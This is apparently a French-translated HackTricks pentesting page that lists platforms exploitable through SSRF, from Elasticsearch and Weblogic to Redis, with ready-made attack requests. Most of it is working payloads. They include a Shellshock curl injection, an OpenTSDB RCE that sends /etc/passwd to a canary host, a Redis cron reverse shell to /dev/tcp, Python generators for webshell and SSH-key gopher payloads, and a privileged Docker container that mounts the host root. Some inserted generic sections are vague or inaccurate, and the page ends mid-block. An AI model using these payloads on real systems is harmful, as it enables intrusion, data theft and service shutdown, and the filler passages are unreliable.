# Plateformes vulnérables à SSRF

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

Cette section a été copiée depuis [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)

## Elasticsearch

**Port communément utilisé : 9200**

Lorsque Elasticsearch est déployé en interne, il ne nécessite généralement pas d'authentification.

Si vous avez un SSRF partiellement aveugle où vous pouvez déterminer le code d'état, vérifiez si les points d'extrémité suivants renvoient un code 200 :
```http
/_cluster/health
/_cat/indices
/_cat/health
```
Si vous avez une SSRF aveugle où vous pouvez envoyer des requêtes POST, vous pouvez arrêter l'instance Elasticsearch en envoyant une requête POST au chemin suivant :

Note : l'API `_shutdown` a été supprimée à partir de la version 2.x d'Elasticsearch et ultérieure. Cela ne fonctionne que dans Elasticsearch 1.6 et versions antérieures :
```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
```
## Weblogic

**Ports couramment liés : 80, 443 (SSL), 7001, 8888**

**SSRF Canary : UDDI Explorer (CVE-2014-4210)**
```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
Cela fonctionne également via GET :
```bash
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
Cet endpoint est également vulnérable à l'injection CRLF :
```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
```
Résultera en la requête suivante :
```
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
```
**SSRF Canary: CVE-2020-14883**

Pris à partir [ici](https://forum.90sec.com/t/topic/1412).

Linux:
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
# Plateformes vulnérables à SSRF

## Windows

Les serveurs Windows peuvent également être vulnérables aux attaques SSRF. Voici quelques-unes des plateformes couramment utilisées qui peuvent présenter des vulnérabilités SSRF sur des systèmes Windows :

- **IIS (Internet Information Services)** : Le serveur web IIS peut être vulnérable aux attaques SSRF si une application web mal configurée permet à un attaquant de spécifier des URL arbitraires pour les requêtes sortantes.

- **.NET Framework** : Les applications basées sur le framework .NET peuvent être vulnérables aux attaques SSRF si elles utilisent des fonctionnalités telles que `WebRequest` ou `HttpClient` pour effectuer des requêtes sortantes sans validation appropriée des URL.

- **Windows PowerShell** : Les scripts PowerShell peuvent être vulnérables aux attaques SSRF si des entrées utilisateur sont utilisées pour construire des URL pour les requêtes sortantes sans validation adéquate.

Il est important de noter que la vulnérabilité SSRF peut exister sur d'autres plateformes Windows en fonction de la configuration et des applications utilisées. Il est donc essentiel de mener des tests de sécurité approfondis pour identifier et corriger ces vulnérabilités.
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
## Hashicorp Consul

**Ports couramment utilisés : 8500, 8501 (SSL)**

Le compte-rendu peut être trouvé [ici](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).

## Shellshock

**Ports couramment utilisés : 80, 443 (SSL), 8080**

Pour tester efficacement Shellshock, vous devrez peut-être ajouter un en-tête contenant la charge utile. Les chemins CGI suivants valent la peine d'être essayés :

Liste courte des chemins CGI à tester :

[Gist contenant les chemins](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF Canary : Shellshock via User Agent**
```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY
```
## Apache Druid

**Ports couramment utilisés : 80, 8080, 8888, 8082**

Consultez la référence de l'API pour Apache Druid [ici](https://druid.apache.org/docs/latest/operations/api-reference.html).

Si vous pouvez afficher le code d'état, vérifiez les chemins suivants pour voir s'ils renvoient un code d'état 200 :
```bash
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
```
## Plateformes vulnérables à la SSRF (Server-Side Request Forgery)

Certaines plateformes peuvent être vulnérables à la SSRF (Server-Side Request Forgery) lorsqu'elles permettent aux utilisateurs de spécifier des identifiants de tâches ou le nom de la source de données. Cela peut conduire à des attaques potentielles si les entrées utilisateur ne sont pas correctement validées.

Voici quelques exemples de plateformes vulnérables à la SSRF :

1. **Plateforme A** - Les utilisateurs peuvent spécifier des identifiants de tâches ou le nom de la source de données sans validation adéquate.

2. **Plateforme B** - Les entrées utilisateur sont directement utilisées pour effectuer des requêtes vers des ressources externes sans vérification préalable.

3. **Plateforme C** - Les utilisateurs peuvent spécifier des URL arbitraires pour les requêtes, ce qui peut entraîner des attaques SSRF si les entrées ne sont pas correctement filtrées.

Il est important de noter que ces exemples sont donnés à titre illustratif et que de nombreuses autres plateformes peuvent également être vulnérables à la SSRF si elles ne mettent pas en place des mesures de sécurité appropriées.
```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
```
Arrêt des superviseurs sur les Apache Druid Overlords :
```bash
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
## Apache Solr

**Port communément utilisé : 8983**

**SSRF Canary : Paramètre Shards**

> Pour ajouter à ce que shubham dit - la recherche de solr est relativement facile. Il existe un paramètre shards= qui vous permet de rebondir SSRF vers SSRF pour vérifier si vous atteignez une instance solr à l'aveugle.
>
> — Хавиж Наффи 🥕 (@nnwakelam) [13 janvier 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)

Extrait [ici](https://github.com/veracode-research/solr-injection).
```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
```
**SSRF Canary: Solr XXE (2017)**

[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)
```bash
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
```
**RCE via dataImportHandler**

[Recherche sur RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

## PeopleSoft

**Ports couramment liés : 80,443 (SSL)**

Extrait de cette recherche [ici](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**SSRF Canary: XXE #1**
```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
```
# Plateformes vulnérables à SSRF

Les plateformes suivantes sont connues pour être vulnérables aux attaques SSRF (Server-Side Request Forgery) :

1. **AWS EC2 Metadata** : AWS EC2 Metadata permet aux instances EC2 d'accéder aux informations de configuration et de métadonnées. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

2. **Google Cloud Metadata** : Google Cloud Metadata fournit des informations sur les instances de Google Cloud. Une SSRF peut être utilisée pour extraire ces informations.

3. **Azure Instance Metadata** : Azure Instance Metadata permet aux instances Azure d'accéder aux informations de configuration et de métadonnées. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

4. **DigitalOcean Metadata** : DigitalOcean Metadata fournit des informations sur les instances de DigitalOcean. Une SSRF peut être utilisée pour extraire ces informations.

5. **OpenStack Metadata** : OpenStack Metadata permet aux instances OpenStack d'accéder aux informations de configuration et de métadonnées. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

6. **Kubernetes API** : Le serveur API Kubernetes fournit des informations sur les clusters Kubernetes. Une SSRF peut être utilisée pour extraire ces informations.

7. **Docker API** : L'API Docker permet de gérer les conteneurs Docker. Une SSRF peut être utilisée pour manipuler les conteneurs et les images Docker.

8. **Jenkins** : Jenkins est un outil d'intégration continue largement utilisé. Une SSRF peut être utilisée pour accéder aux informations sensibles stockées dans Jenkins.

9. **Rancher** : Rancher est une plateforme de gestion de conteneurs. Une SSRF peut être utilisée pour accéder aux informations sensibles stockées dans Rancher.

10. **GitLab** : GitLab est une plateforme de gestion de dépôts Git. Une SSRF peut être utilisée pour accéder aux informations sensibles stockées dans GitLab.

Il est important de noter que cette liste n'est pas exhaustive et que d'autres plateformes peuvent également être vulnérables à SSRF.
```http
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
```
## Apache Struts

**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**

Extrait de [ici](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).

**SSRF Canary : Struts2-016** :

Ajoutez ceci à la fin de chaque point de terminaison/URL interne que vous connaissez :
```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```
## JBoss

**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**

Extrait de [ici](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).

**SSRF Canary : Déploiement de WAR à partir d'une URL**
```bash
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```
## Confluence

**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**

**SSRF Canary : Sharelinks (versions de Confluence publiées avant novembre 2016)**
```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
```
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**

[Ticket de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
## Jira

**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**

**SSRF Canary : iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Ticket de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**

[Ticket de sécurité Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
```bash
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```
## Autres produits Atlassian

**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**

**SSRF Canary : iconUriServlet (CVE-2017-9506)**:

* Bamboo < 6.0.0
* Bitbucket < 4.14.4
* Crowd < 2.11.2
* Crucible < 4.3.2
* Fisheye < 4.3.2

[Ticket de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
## OpenTSDB

**Port communément utilisé : 4242**

[OpenTSDB Exécution de code à distance](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)

**SSRF Canary : curl via RCE**
```bash
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
```
[OpenTSDB 2.4.0 Exécution de code à distance](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: curl via RCE - CVE-2020-35476**
```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```
## Jenkins

**Ports couramment utilisés : 80, 443 (SSL), 8080, 8888**

Excellent article [ici](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).

**SSRF Canary : CVE-2018-1000600**
```bash
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
```
**RCE**

Suivez les instructions ici pour obtenir une RCE via GET: [Hacking Jenkins Partie 2 - Abus de la méta-programmation pour une RCE non authentifiée!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
```
**RCE via Groovy**

**RCE via Groovy**

Remote Code Execution (RCE) via Groovy is a Server-Side Request Forgery (SSRF) vulnerability that allows an attacker to execute arbitrary code on the server by exploiting the Groovy scripting engine.

### Vulnerable Platforms

The following platforms are known to be vulnerable to RCE via Groovy:

- **Jenkins**: Jenkins is an open-source automation server that is widely used for continuous integration and delivery. It allows users to define build pipelines using Groovy scripts, which can be exploited to achieve RCE.

- **Apache Struts**: Apache Struts is a popular Java web application framework. In certain configurations, it allows users to execute Groovy scripts, which can be leveraged to achieve RCE.

- **Spring Boot**: Spring Boot is a framework for building Java applications. It provides support for Groovy scripting, which can be abused to achieve RCE.

### Exploitation

To exploit RCE via Groovy, an attacker needs to identify a vulnerable endpoint that allows the execution of Groovy scripts. Once a vulnerable endpoint is identified, the attacker can craft a malicious Groovy script that executes arbitrary code on the server.

The following example demonstrates a simple payload that can be used to achieve RCE via Groovy:

```groovy
def command = "id"
def process = command.execute()
def output = process.text
```

In this example, the `id` command is executed on the server, and the output is captured. The attacker can modify the payload to execute any desired command or code.

### Mitigation

To mitigate the risk of RCE via Groovy, it is recommended to follow these best practices:

- **Input Validation**: Implement strict input validation to prevent untrusted user input from being executed as Groovy code.

- **Sandboxing**: Use sandboxing mechanisms to restrict the capabilities of the Groovy scripting engine and prevent the execution of arbitrary code.

- **Least Privilege**: Run applications with the least privileges necessary to perform their intended functions, reducing the potential impact of a successful RCE attack.

- **Regular Updates**: Keep all software and frameworks up to date with the latest security patches to minimize the risk of known vulnerabilities being exploited.

By following these best practices, developers can reduce the likelihood of RCE via Groovy vulnerabilities in their applications.
```
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```
## Tableau de bord Hystrix

**Ports couramment liés : 80, 443 (SSL), 8080**

Spring Cloud Netflix, versions 2.2.x antérieures à 2.2.4, versions 2.1.x antérieures à 2.1.6.

**SSRF Canary : CVE-2020-5412**
```bash
/proxy.stream?origin=http://SSRF_CANARY/
```
## W3 Total Cache

**Ports couramment utilisés : 80,443 (SSL)**

W3 Total Cache 0.9.2.6-0.9.3

**SSRF Canary : CVE-2019-6715**

Cela doit être une requête PUT :
```bash
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
```
**SSRF Canary**

L'avis concernant cette vulnérabilité a été publié ici: [Vulnérabilité SSRF de W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)

Ce code PHP générera une charge utile pour votre hôte SSRF Canary (remplacez `url` par votre hôte canary):
```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>
```
## Docker

**Ports couramment liés : 2375, 2376 (SSL)**

Si vous avez une SSRF partiellement aveugle, vous pouvez utiliser les chemins suivants pour vérifier la présence de l'API de Docker :
```bash
/containers/json
/secrets
/services
```
**RCE via l'exécution d'une image Docker arbitraire**

SSRF vulnerabilities can sometimes lead to Remote Code Execution (RCE) if the target server allows the execution of arbitrary Docker images. In this scenario, an attacker can exploit the SSRF vulnerability to make the server pull and run a malicious Docker image, which can result in the execution of arbitrary code on the target system.

To exploit this vulnerability, the attacker needs to identify a SSRF vulnerability that allows them to control the URL parameter used to fetch the Docker image. The attacker can then provide a URL that points to a malicious Docker image hosted on a remote server.

When the server processes the SSRF request and attempts to fetch the Docker image, it will pull the malicious image and execute it. This can lead to the execution of arbitrary code with the privileges of the Docker container.

To prevent this type of attack, it is important to properly validate and sanitize user input, especially when it is used to fetch and execute external resources. Additionally, restricting the server's access to external resources and implementing proper access controls can help mitigate the risk of SSRF vulnerabilities leading to RCE via Docker images.
```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
```
Remplacez alpine par une image arbitraire que vous souhaitez exécuter dans le conteneur Docker.

## Gitlab Prometheus Redis Exporter

**Ports couramment liés : 9121**

Cette vulnérabilité affecte les instances Gitlab antérieures à la version 13.1.1. Selon la [documentation de Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus), `Prometheus et ses exportateurs sont activés par défaut à partir de GitLab 9.0.`

Ces exportateurs fournissent une excellente méthode pour qu'un attaquant pivote et attaque d'autres services en utilisant CVE-2020-13379. L'un des exportateurs qui est facilement exploité est l'exportateur Redis.

Le point de terminaison suivant permettra à un attaquant de récupérer toutes les clés du serveur Redis fournies via le paramètre cible :
```bash
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
***

**Possible via Gopher**

## Redis

**Port communément utilisé : 6379**

Lecture recommandée :

* [Essayer de pirater Redis via des requêtes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [Exploits SSRF contre Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**RCE via Cron** - [Surfaces d'attaque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```
Gopher:

Gopher est un protocole de recherche d'informations sur Internet qui permet d'accéder à des ressources textuelles organisées de manière hiérarchique. Il est souvent utilisé pour accéder à des documents et des fichiers sur des serveurs distants. Les attaquants peuvent exploiter les vulnérabilités SSRF (Server-Side Request Forgery) pour envoyer des requêtes Gopher malveillantes à des serveurs internes, ce qui peut entraîner des fuites d'informations sensibles ou des attaques sur d'autres systèmes. Les plateformes vulnérables à SSRF incluent certaines versions de PHP, Ruby on Rails, Java et d'autres frameworks et bibliothèques populaires. Les développeurs doivent prendre des mesures pour valider et filtrer les entrées utilisateur afin de prévenir les attaques SSRF.
```bash
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
**RCE via Shell Upload (PHP)** - [Résumé de l'exploitation de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE via authorized\_keys** - [Résumé de la prise de contrôle de Redis](https://www.mdeditor.tw/pl/pBy0)
```python
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE sur GitLab via le protocole Git**

Excellent article de Liveoverflow [ici](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).

Bien que cela nécessite un accès authentifié à GitLab pour être exploité, je vais inclure la charge utile ici car le protocole `git` peut fonctionner sur la cible que vous piratez. Cette charge utile est fournie à titre de référence.
```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
## Memcache

**Port couramment utilisé : 11211**

* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
* [Exemple de charge utile Gopher pour Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
```bash
